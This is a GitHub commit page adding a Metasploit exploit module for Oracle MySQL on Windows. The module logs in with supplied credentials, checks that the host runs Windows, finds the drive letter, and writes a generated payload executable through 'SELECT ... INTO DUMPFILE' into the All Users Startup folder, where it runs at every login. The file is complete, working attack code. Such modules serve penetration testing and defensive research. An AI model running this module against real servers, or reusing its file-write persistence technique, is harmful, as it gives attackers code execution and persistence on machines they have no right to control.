Skip to content

Commit

Permalink
Test landing #2156 into up to date branch
Browse files Browse the repository at this point in the history
  • Loading branch information
jvazquez-r7 committed Jan 9, 2015
2 parents d8743ea + 9a0ed72 commit da6496f
Showing 1 changed file with 131 additions and 0 deletions.
131 changes: 131 additions & 0 deletions modules/exploits/windows/mysql/mysql_start_up.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,131 @@
##
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::MYSQL
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'Oracle MySQL for Microsoft Windows File Write',
'Description' => %q{
This module takes advantage of a file privilege misconfiguration problem
specifically against Windows MySQL servers. This module writes a payload to
Microsoft's All Users Start Up directory which will execute every time a
user logs in.
},
'Author' =>
[
'sinn3r',
'Sean Verity <veritysr1980[at]gmail.com'
],
'DefaultOptions' =>
{
'DisablePayloadHandler' => 'true'
},
'License' => MSF_LICENSE,
'References' => [ ],
'Platform' => 'win',
'Targets' =>
[
[ 'MySQL on Windows', { } ]
],
'DefaultTarget' => 0,
))

register_options(
[
OptString.new('USERNAME', [ true, 'The username to authenticate as']),
OptString.new('PASSWORD', [ true, 'The password to authenticate with'])
])
end

def check
m = mysql_login(datastore['USERNAME'], datastore['PASSWORD'])
return Exploit::CheckCode::Safe if not m

return Exploit::CheckCode::Appears if is_windows?
return Exploit::CheckCode::Safe
end

def peer
"#{rhost}:#{rport}"
end

def query(q)
rows = []

begin
res = mysql_query(q)
return rows if not res
res.each_hash do |row|
rows << row
end
rescue RbMysql::ParseError
return rows
end

return rows
end

def is_windows?
r = query("SELECT @@version_compile_os;")
return (r[0]['@@version_compile_os'] =~ /^Win/) ? true : false
end

def get_drive_letter
r = query("SELECT @@tmpdir;")
drive = r[0]['@@tmpdir'].scan(/^(\w):/).flatten[0] || ''
return drive
end

def upload_file(bin, dest)
p = bin.unpack("H*")[0]
query("SELECT 0x#{p} into DUMPFILE '#{dest}'")
end

def exploit
print_status("#{peer} - Attempting to login as '#{datastore['USERNAME']}:#{datastore['PASSWORD']}'")
begin
m = mysql_login(datastore['USERNAME'], datastore['PASSWORD'])
return if not m
rescue RbMysql::AccessDeniedError
print_error("#{peer} - Access denied.")
return
end

if not is_windows?
print_error("#{peer} - Remote host isn't Windows.")
return
end

begin
drive = get_drive_letter
return if not drive
rescue RbMysql::ParseError
print_error("Could not determine drive name")
return
end

exe_name = Rex::Text::rand_text_alpha(5) + ".exe"
dest = "#{drive}:/programdata/microsoft/windows/start menu/programs/startup/#{exe_name}"
exe = generate_payload_exe

print_status("#{peer} - Uploading to '#{dest}'")
begin
upload_file(exe, dest)
register_file_for_cleanup("#{dest}")
rescue RbMysql::AccessDeniedError
print_error("#{peer} - No permission to write. I blame kc :-)")
return
end

end

end

0 comments on commit da6496f

Please sign in to comment.